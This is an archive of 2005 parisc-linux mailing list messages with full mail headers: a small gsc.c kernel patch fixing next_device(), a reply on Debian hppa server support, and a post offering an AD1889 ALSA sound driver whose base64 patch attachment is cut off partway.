> > a) keyboard is dead
> > b) serial port is dead
> 
> Those problems are caused by the gsc.c part of the patch, which is

Patch attached, which I think is the correct fix.  There are many
next_device() functions in the tree; we needed one that used
knode_parent, not knode_driver.

Still looks to me like drivers/parisc/sba_iommu.c needs this fix
too, but I've not actually tried it.

Richard


--4SFOXa2GPu3tIq4H
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="gsc.patch"

Index: drivers/parisc/gsc.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/gsc.c,v
retrieving revision 1.22
diff -d -u -r1.22 gsc.c
--- drivers/parisc/gsc.c	27 Jul 2005 00:31:04 -0000	1.22
+++ drivers/parisc/gsc.c	27 Jul 2005 21:18:04 -0000
@@ -183,10 +183,15 @@
 	*irqp = irq;
 }
 
+static struct device* next_device(struct klist_iter *i)
+{
+	struct klist_node * n = klist_next(i);
+	return n ? container_of(n, struct device, knode_parent) : NULL;
+}
+
 void gsc_fixup_irqs(struct parisc_device *parent, void *ctrl,
 			void (*choose_irq)(struct parisc_device *, void *))
 {
-	extern struct device *next_device(struct klist_iter *i);
 	struct device *dev;
 	struct klist_iter i;
 

--4SFOXa2GPu3tIq4H
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--4SFOXa2GPu3tIq4H--



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian install
Date: Fri, 29 Jul 2005 06:39:56 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <20050729123956.GA11883@colo.lackof.org>
References: <42EA19FC.2030500@evonux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623869 15854 80.91.229.3 (22 Nov 2014 02:37:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Maxime Woznicki <maxime.woznicki@evonux.com>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2005 12:35:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 29 Jul 2005 14:35:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5952B7D722;
	Fri, 29 Jul 2005 06:35:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17466-04; Fri, 29 Jul 2005 06:35:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 80C367D725;
	Fri, 29 Jul 2005 06:35:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE5437D719
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 06:35:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16698-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 06:35:03 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 65DB27D70F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 06:35:03 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5B4CA36006B;
	Fri, 29 Jul 2005 06:39:57 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13214-09; Fri, 29 Jul 2005 06:39:56 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0D95D360065; Fri, 29 Jul 2005 06:39:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42EA19FC.2030500@evonux.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0keYYiNQeSEkZb6WZHQhaXN1IGRvbwCA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22986

On Fri, Jul 29, 2005 at 01:58:52PM +0200, Maxime Woznicki wrote:
> Hello,
> 
> I would like to know if debian hppa port supports these differents 
> servers (I've searched in the supported hardware page but it isn't 
> really clear for me) :
> * HP9000  L2000

yes

> * RP-4440

pa8800 support isn't stable yet.
I have several rp3440-4 boxes setup for developement but we haven't
gotten to the bottom of the sshd segfault (can't ssh into the box).
I believe it's an I-cache flushing issue but haven't had time
to track it further down. Thanks to Randolph/Carlos for getting it that far.
We have determined it's not an I/O coherency issue.

> * RP5430
> * RP5470

Offhand, I'm not sure what these are.
I expect they are later versions of L-class but aren't sure.

> If these servers are supported , can they be used as production servers ?

What does "supported" mean to you?
You have to do your own testing/support on these boxes unless you
want to fund one of the independent developers to do that for you.

FWIW, The most stable recent kernels seem to be 2.6.8.1 (Debian) or
self-built 2.6.10-pa11 (IIRC).

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Support for AD1889 PCI Soundchip
Date: Fri, 29 Jul 2005 21:16:34 +0200
Organization: PA/Linux
Lines: 851
Approved: news@gmane.org
Message-ID: <20050729211634.566f5343__18233.9766565294$1416623870$gmane$org@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0960519385=="
X-Trace: ger.gmane.org 1416623870 15859 80.91.229.3 (22 Nov 2014 02:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:50 +0000 (UTC)
Cc: alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 kyle@parisc-linux.org
To: perex@suse.cz
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2005 18:17:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 29 Jul 2005 20:17:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF9357D759;
	Fri, 29 Jul 2005 12:17:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19538-04; Fri, 29 Jul 2005 12:17:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0053C7D748;
	Fri, 29 Jul 2005 12:17:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3F857D73F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 12:17:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18865-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 12:17:04 -0600 (MDT)
Original-Received: from postfix3-1.free.fr (postfix3-1.free.fr [213.228.0.44])
	by free.linux.hp.com (Postfix) with ESMTP id B7F177D733
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 12:17:03 -0600 (MDT)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix3-1.free.fr (Postfix) with ESMTP id 45C531734E7;
	Fri, 29 Jul 2005 20:17:01 +0200 (CEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 2EA1D33E4B; Fri, 29 Jul 2005 20:16:50 +0200 (CEST)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id 6BDEE33C89;
	Fri, 29 Jul 2005 20:16:19 +0200 (CEST)
Original-Received: from localhost ([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with esmtp (Exim 3.36 #1 (Debian))
	id 1DyaLV-0001hD-00; Fri, 29 Jul 2005 21:16:37 +0200
X-Mailer: Sylpheed-Claws 1.0.4 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on Tatooine.r3z0
X-Spam-Status: No, score=-52.6 required=5.0 tests=BAYES_00,LOCAL_RCVD 
	autolearn=ham version=3.0.3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +heYYnVreSEkM76WZHQhaXN1IGRvb4A5
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22987

--===============0960519385==
Content-Type: multipart/signed;
	boundary=Signature_Fri__29_Jul_2005_21_16_34_+0200_FtWMJFd7Nmvfje3L;
	protocol="application/pgp-signature"; micalg=pgp-sha1

--Signature_Fri__29_Jul_2005_21_16_34_+0200_FtWMJFd7Nmvfje3L
Content-Type: multipart/mixed;
	boundary="Multipart_Fri__29_Jul_2005_21_16_34_+0200_ThH=ju5RGqxcNjhm"

--Multipart_Fri__29_Jul_2005_21_16_34_+0200_ThH=ju5RGqxcNjhm
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,

Attached is a patch against 2.6.13-rc4 providing support for Analog
Devices AD1889 PCI Sound chip, which is especially found on some HP
PA-RISC machines.

The driver has been successfully tested on parisc and ppc architectures,
and offers support for full duplex playback (variable rates, mono/stereo
8/16bit) and capture (fixed 48kHz, mono/stereo 8/16bit).

It's developed and maintained in the parisc-linux.org CVS kernel tree
(http://cvs.parisc-linux.org/), and has a status webpage on
http://wiki.parisc-linux.org/AD1889

This patch doesn't yet feature OPL3 code, because it's still work in
progress in our development tree.

Here's the diffstat summary:

 MAINTAINERS        |    9
 sound/pci/Kconfig  |   12
 sound/pci/Makefile |    2
 sound/pci/ad1889.c | 1166
+++++++++++++++++++++++++++++++++++++++++++++++++++++
 sound/pci/ad1889.h |  187 ++++++++
 5 files changed, 1376 insertions(+)

HTH

Thibaut VARENE
The PA/Linux Team
http://www.pateam.org/

--Multipart_Fri__29_Jul_2005_21_16_34_+0200_ThH=ju5RGqxcNjhm
Content-Type: text/plain; name=analog-devices-ad1889-driver.patch
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=analog-devices-ad1889-driver.patch

ZGlmZiAtTnJ1IGxpbnV4LTIuNi4xMy1yYzQub3JpZy9NQUlOVEFJTkVSUyBsaW51eC0yLjYuMTMt
cmM0L01BSU5UQUlORVJTDQotLS0gbGludXgtMi42LjEzLXJjNC5vcmlnL01BSU5UQUlORVJTCTIw
MDUtMDctMjkgMTk6MTA6MTkuMDAwMDAwMDAwICswMjAwDQorKysgbGludXgtMi42LjEzLXJjNC9N
QUlOVEFJTkVSUwkyMDA1LTA3LTI5IDE5OjMzOjQxLjAwMDAwMDAwMCArMDIwMA0KQEAgLTE5MSw2
ICsxOTEsMTUgQEANCiBXOglodHRwOi8vbGludXgudGhvcnN0ZW4ta25hYmUuZGUNCiBTOglNYWlu
dGFpbmVkDQogDQorQUQxODg5IFNPVU5EIERSSVZFUg0KK1A6ICAgICAgS3lsZSBNY01hcnRpbg0K
K006ICAgICAga3lsZUBwYXJpc2MtbGludXgub3JnDQorUDogICAgICBUaGliYXV0IFZhcmVuZQ0K
K006ICAgICAgVC1Cb25lQHBhcmlzYy1saW51eC5vcmcNCitXOiAgICAgIGh0dHA6Ly93aWtpLnBh
cmlzYy1saW51eC5vcmcvQUQxODg5DQorTDogICAgICBwYXJpc2MtbGludXhAbGlzdHMucGFyaXNj
LWxpbnV4Lm9yZw0KK1M6ICAgICAgTWFpbnRhaW5lZA0KKw0KIEFETTEwMjUgSEFSRFdBUkUgTU9O
SVRPUiBEUklWRVINCiBQOglKZWFuIERlbHZhcmUNCiBNOglraGFsaUBsaW51eC1mci5vcmcNCmRp
ZmYgLU5ydSBsaW51eC0yLjYuMTMtcmM0Lm9yaWcvc291bmQvcGNpL2FkMTg4OS5jIGxpbnV4LTIu
Ni4xMy1yYzQvc291bmQvcGNpL2FkMTg4OS5jDQotLS0gbGludXgtMi42LjEzLXJjNC5vcmlnL3Nv
dW5kL3BjaS9hZDE4ODkuYwkxOTcwLTAxLTAxIDAxOjAwOjAwLjAwMDAwMDAwMCArMDEwMA0KKysr
IGxpbnV4LTIuNi4xMy1yYzQvc291bmQvcGNpL2FkMTg4OS5jCTIwMDUtMDctMjkgMTk6MzU6NDIu
MDAwMDAwMDAwICswMjAwDQpAQCAtMCwwICsxLDExNjYgQEANCisvKiBBbmFsb2cgRGV2aWNlcyAx
ODg5IGF1ZGlvIGRyaXZlcg0KKyAqDQorICogVGhpcyBpcyBhIGRyaXZlciBmb3IgdGhlIEFEMTg4
OSBQQ0kgYXVkaW8gY2hpcHNldCBmb3VuZA0KKyAqIG9uIHRoZSBIUCBQQS1SSVNDIFtCQ0pdLXh4
eDAgd29ya3N0YXRpb25zLg0KKyAqDQorICogQ29weXJpZ2h0IChDKSAyMDA0LTIwMDUsIEt5bGUg
TWNNYXJ0aW4gPGt5bGVAcGFyaXNjLWxpbnV4Lm9yZz4NCisgKiBDb3B5cmlnaHQgKEMpIDIwMDUs
IFRoaWJhdXQgVmFyZW5lIDx2YXJlbmV0QHBhcmlzYy1saW51eC5vcmc+DQorICogICBCYXNlZCBv
biB0aGUgT1NTIEFEMTg4OSBkcml2ZXIgYnkgUmFuZG9scGggQ2h1bmcgPHRhdXNxQGRlYmlhbi5v
cmc+DQorICoNCisgKiBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRp
c3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQ0KKyAqIGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUg
R05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UsIHZlcnNpb24gMiwgYXMNCisgKiBwdWJsaXNoZWQg
YnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbi4NCisgKg0KKyAqIFRoaXMgcHJvZ3JhbSBp
cyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLA0KKyAqIGJ1
dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5
IG9mDQorICogTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQ
T1NFLgkgU2VlIHRoZQ0KKyAqIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRl
dGFpbHMuDQorICoNCisgKiBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBH
TlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZQ0KKyAqIGFsb25nIHdpdGggdGhpcyBwcm9ncmFtOyBp
ZiBub3QsIHdyaXRlIHRvIHRoZSBGcmVlIFNvZnR3YXJlDQorICogRm91bmRhdGlvbiwgSW5jLiwg
Njc1IE1hc3MgQXZlLCBDYW1icmlkZ2UsIE1BIDAyMTM5LCBVU0EuDQorICoNCisgKiBUT0RPOg0K
KyAqCURvIHdlIG5lZWQgdG8gdGFrZSBjYXJlIG9mIENDUyByZWdpc3Rlcj8NCisgKglNYXliZSB3
ZSBjb3VsZCB1c2UgZmluZXIgZ3JhaW5lZCBsb2NraW5nIChzZXBhcmF0ZSBsb2NrcyBmb3IgcGIv
Y2FwKT8NCisgKiBXaXNobGlzdDoNCisgKglDb250cm9sIEludGVyZmFjZSAobWl4ZXIpIHN1cHBv
cnQNCisgKglCZXR0ZXIgQUM5NyBzdXBwb3J0IChWU1IuLi4pPw0KKyAqCVBNIHN1cHBvcnQNCisg
KglNSURJIHN1cHBvcnQNCisgKglHYW1lIFBvcnQgc3VwcG9ydA0KKyAqCVNHIERNQSBzdXBwb3J0
ICh0aGlzIHdpbGwgbmVlZCAqYWxvdCogb2Ygd29yaykNCisgKi8NCisNCisjaW5jbHVkZSA8bGlu
dXgvaW5pdC5oPg0KKyNpbmNsdWRlIDxsaW51eC9wY2kuaD4NCisjaW5jbHVkZSA8bGludXgvc2xh
Yi5oPg0KKyNpbmNsdWRlIDxsaW51eC9pbnRlcnJ1cHQuaD4NCisjaW5jbHVkZSA8bGludXgvY29t
cGlsZXIuaD4NCisjaW5jbHVkZSA8bGludXgvZGVsYXkuaD4NCisNCisjaW5jbHVkZSA8c291bmQv
ZHJpdmVyLmg+DQorI2luY2x1ZGUgPHNvdW5kL2NvcmUuaD4NCisjaW5jbHVkZSA8c291bmQvcGNt
Lmg+DQorI2luY2x1ZGUgPHNvdW5kL2luaXR2YWwuaD4NCisjaW5jbHVkZSA8c291bmQvYWM5N19j
b2RlYy5oPg0KKw0KKyNpbmNsdWRlIDxhc20vaW8uaD4NCisNCisjaW5jbHVkZSAiYWQxODg5Lmgi
DQorI2luY2x1ZGUgImFjOTcvYWM5N19pZC5oIg0KKw0KKyNkZWZpbmUJQUQxODg5X0RSVlZFUgki
JFJldmlzaW9uOiAxLjMxICQiDQorDQorTU9EVUxFX0FVVEhPUigiS3lsZSBNY01hcnRpbiA8a3ls
ZUBwYXJpc2MtbGludXgub3JnPiwgVGhpYmF1dCBWYXJlbmUgPHQtYm9uZUBwYXJpc2MtbGludXgu
b3JnPiIpOw0KK01PRFVMRV9ERVNDUklQVElPTigiQW5hbG9nIERldmljZXMgQUQxODg5IEFMU0Eg
c291bmQgZHJpdmVyIik7DQorTU9EVUxFX0xJQ0VOU0UoIkdQTCIpOw0KK01PRFVMRV9WRVJTSU9O
KEFEMTg4OV9EUlZWRVIpOw0KK01PRFVMRV9TVVBQT1JURURfREVWSUNFKCJ7e0FuYWxvZyBEZXZp
Y2VzLEFEMTg4OX19Iik7DQorDQorc3RhdGljIGludCBpbmRleFtTTkRSVl9DQVJEU10gPSBTTkRS
Vl9ERUZBVUxUX0lEWDsNCittb2R1bGVfcGFyYW1fYXJyYXkoaW5kZXgsIGludCwgTlVMTCwgMDQ0
NCk7DQorTU9EVUxFX1BBUk1fREVTQyhpbmRleCwgIkluZGV4IHZhbHVlIGZvciB0aGUgQUQxODg5
IHNvdW5kY2FyZC4iKTsNCisNCitzdGF0aWMgY2hhciAqaWRbU05EUlZfQ0FSRFNdID0gU05EUlZf
REVGQVVMVF9TVFI7DQorbW9kdWxlX3BhcmFtX2FycmF5KGlkLCBjaGFycCwgTlVMTCwgMDQ0NCk7
DQorTU9EVUxFX1BBUk1fREVTQyhpZCwgIklEIHN0cmluZyBmb3IgdGhlIEFEMTg4OSBzb3VuZGNh
cmQuIik7DQorDQorc3RhdGljIGludCBlbmFibGVbU05EUlZfQ0FSRFNdID0gU05EUlZfREVGQVVM
VF9FTkFCTEVfUE5QOw0KK21vZHVsZV9wYXJhbV9hcnJheShlbmFibGUsIGJvb2wsIE5VTEwsIDA0
NDQpOw0KK01PRFVMRV9QQVJNX0RFU0MoZW5hYmxlLCAiRW5hYmxlIEFEMTg4OSBzb3VuZGNhcmQu
Iik7DQorDQorc3RhdGljIGNoYXIgKmFjOTdfcXVpcmtbU05EUlZfQ0FSRFNdOw0KK21vZHVsZV9w
YXJhbV9hcnJheShhYzk3X3F1aXJrLCBjaGFycCwgTlVMTCwgMDQ0NCk7DQorTU9EVUxFX1BBUk1f
REVTQyhhYzk3X3F1aXJrLCAiQUMnOTcgd29ya2Fyb3VuZCBmb3Igc3RyYW5nZSBoYXJkd2FyZS4i
KTsNCisNCisjZGVmaW5lIERFVk5BTUUgImFkMTg4OSINCisjZGVmaW5lIFBGWAlERVZOQU1FICI6
ICINCisNCisvKiBsZXQncyB1c2UgdGhlIGdsb2JhbCBzb3VuZCBkZWJ1ZyBpbnRlcmZhY2VzICov
DQorI2RlZmluZSBhZDE4ODlfZGVidWcoZm10LCBhcmcuLi4pIHNuZF9wcmludGQoS0VSTl9ERUJV
RyBmbXQsICMjIGFyZykNCisNCisvKiBrZWVwIHRyYWNrIG9mIGVhY2ggaHcgcmVnaXN0ZXIgKi8N
CitzdHJ1Y3QgYWQxODg5X3JlZ2lzdGVyX3N0YXRlIHsNCisJdTE2IHJlZzsJLyogcmVnIHNldHVw
ICovDQorCXUzMiBhZGRyOwkvKiBkbWEgYmFzZSBhZGRyZXNzICovDQorCXUxNiByYXRlOwkvKiBz
YW1wbGUgcmF0ZSAqLw0KKwl1bnNpZ25lZCBsb25nIHBvczsJLyogbGFzdCByZWNvcmRlZCBETUEg
YnVmZmVyIHBvc2l0aW9uICovDQorCXVuc2lnbmVkIGxvbmcgYnVmOwkvKiBwZXJpb2QgIyAqLw0K
Kwl1bnNpZ25lZCBsb25nIHNpemU7CS8qIERNQSBidWZmZXIgc2l6ZSAqLw0KKwl1bnNpZ25lZCBs
b25nIGNvdW50OwkvKiBwZXJpb2Qgc2l6ZSwgYWthIG5iIGJ5dGVzIHNlbnQgaW4gdGhlIGN1cnJl
bnQgRE1BIHRyYW5zZmVyICovDQorfTsNCisNCitzdHJ1Y3Qgc25kX2FkMTg4OSB7DQorCXNuZF9j
YXJkX3QgKmNhcmQ7DQorCXN0cnVjdCBwY2lfZGV2ICpwY2k7DQorDQorCWludCBpcnE7DQorCXVu
c2lnbmVkIGxvbmcgYmFyOw0KKwl2b2lkIF9faW9tZW0gKmlvYmFzZTsNCisNCisJYWM5N190ICph
Yzk3Ow0KKwlhYzk3X2J1c190ICphYzk3X2J1czsNCisJc25kX3BjbV90ICpwY207DQorCXNuZF9p
bmZvX2VudHJ5X3QgKnByb2M7DQorDQorCXN0cnVjdCBzbmRfZG1hX2RldmljZSBkbWE7DQorCXNu
ZF9wY21fc3Vic3RyZWFtX3QgKnBzdWJzOw0KKwlzbmRfcGNtX3N1YnN0cmVhbV90ICpjc3ViczsN
CisNCisJLyogcGxheWJhY2sgcmVnaXN0ZXIgc3RhdGUgKi8NCisJc3RydWN0IGFkMTg4OV9yZWdp
c3Rlcl9zdGF0ZSB3YXZlOw0KKwlzdHJ1Y3QgYWQxODg5X3JlZ2lzdGVyX3N0YXRlIHJhbWM7DQor
DQorCXN0cnVjdCB7DQorCQl1bnNpZ25lZCBsb25nIHdhdl9pbnRyOw0KKwkJdW5zaWduZWQgbG9u
ZyBhZGNfaW50cjsNCisJCXVuc2lnbmVkIGxvbmcgc3luX2ludHI7DQorCQl1bnNpZ25lZCBsb25n
IHJlc19pbnRyOw0KKwl9IHN0YXRzOw0KKw0KKwlzcGlubG9ja190IGxvY2s7DQorfTsNCisNCitz
dGF0aWMgaW5saW5lIHUxNg0KK2FkMTg4OV9yZWFkdyhzdHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCwg
dW5zaWduZWQgcmVnKQ0KK3sNCisJcmV0dXJuIGlvcmVhZDE2KGNoaXAtPmlvYmFzZSArIHJlZyk7
DQorfQ0KKw0KK3N0YXRpYyBpbmxpbmUgdm9pZA0KK2FkMTg4OV93cml0ZXcoc3RydWN0IHNuZF9h
ZDE4ODkgKmNoaXAsIHVuc2lnbmVkIHJlZywgdTE2IHZhbCkNCit7DQorCWlvd3JpdGUxNih2YWws
IGNoaXAtPmlvYmFzZSArIHJlZyk7DQorfQ0KKw0KK3N0YXRpYyBpbmxpbmUgdTMyDQorYWQxODg5
X3JlYWRsKHN0cnVjdCBzbmRfYWQxODg5ICpjaGlwLCB1bnNpZ25lZCByZWcpDQorew0KKwlyZXR1
cm4gaW9yZWFkMzIoY2hpcC0+aW9iYXNlICsgcmVnKTsNCit9DQorDQorc3RhdGljIGlubGluZSB2
b2lkDQorYWQxODg5X3dyaXRlbChzdHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCwgdW5zaWduZWQgcmVn
LCB1MzIgdmFsKQ0KK3sNCisJaW93cml0ZTMyKHZhbCwgY2hpcC0+aW9iYXNlICsgcmVnKTsNCit9
DQorDQorc3RhdGljIGlubGluZSB2b2lkDQorYWQxODg5X3VubXV0ZShzdHJ1Y3Qgc25kX2FkMTg4
OSAqY2hpcCkNCit7DQorCXUxNiBzdDsNCisJc3QgPSBhZDE4ODlfcmVhZHcoY2hpcCwgQURfRFNf
V0FEQSkgJiANCisJCX4oQURfRFNfV0FEQV9SV0FNIHwgQURfRFNfV0FEQV9MV0FNKTsNCisJYWQx
ODg5X3dyaXRldyhjaGlwLCBBRF9EU19XQURBLCBzdCk7DQorCWFkMTg4OV9yZWFkdyhjaGlwLCBB
RF9EU19XQURBKTsNCit9DQorDQorc3RhdGljIGlubGluZSB2b2lkDQorYWQxODg5X211dGUoc3Ry
dWN0IHNuZF9hZDE4ODkgKmNoaXApDQorew0KKwl1MTYgc3Q7DQorCXN0ID0gYWQxODg5X3JlYWR3
KGNoaXAsIEFEX0RTX1dBREEpIHwgQURfRFNfV0FEQV9SV0FNIHwgQURfRFNfV0FEQV9MV0FNOw0K
KwlhZDE4ODlfd3JpdGV3KGNoaXAsIEFEX0RTX1dBREEsIHN0KTsNCisJYWQxODg5X3JlYWR3KGNo
aXAsIEFEX0RTX1dBREEpOw0KK30NCisNCitzdGF0aWMgaW5saW5lIHZvaWQNCithZDE4ODlfbG9h
ZF9hZGNfY291bnQoc3RydWN0IHNuZF9hZDE4ODkgKmNoaXAsIHUzMiBjb3VudCkNCit7DQorCWFk
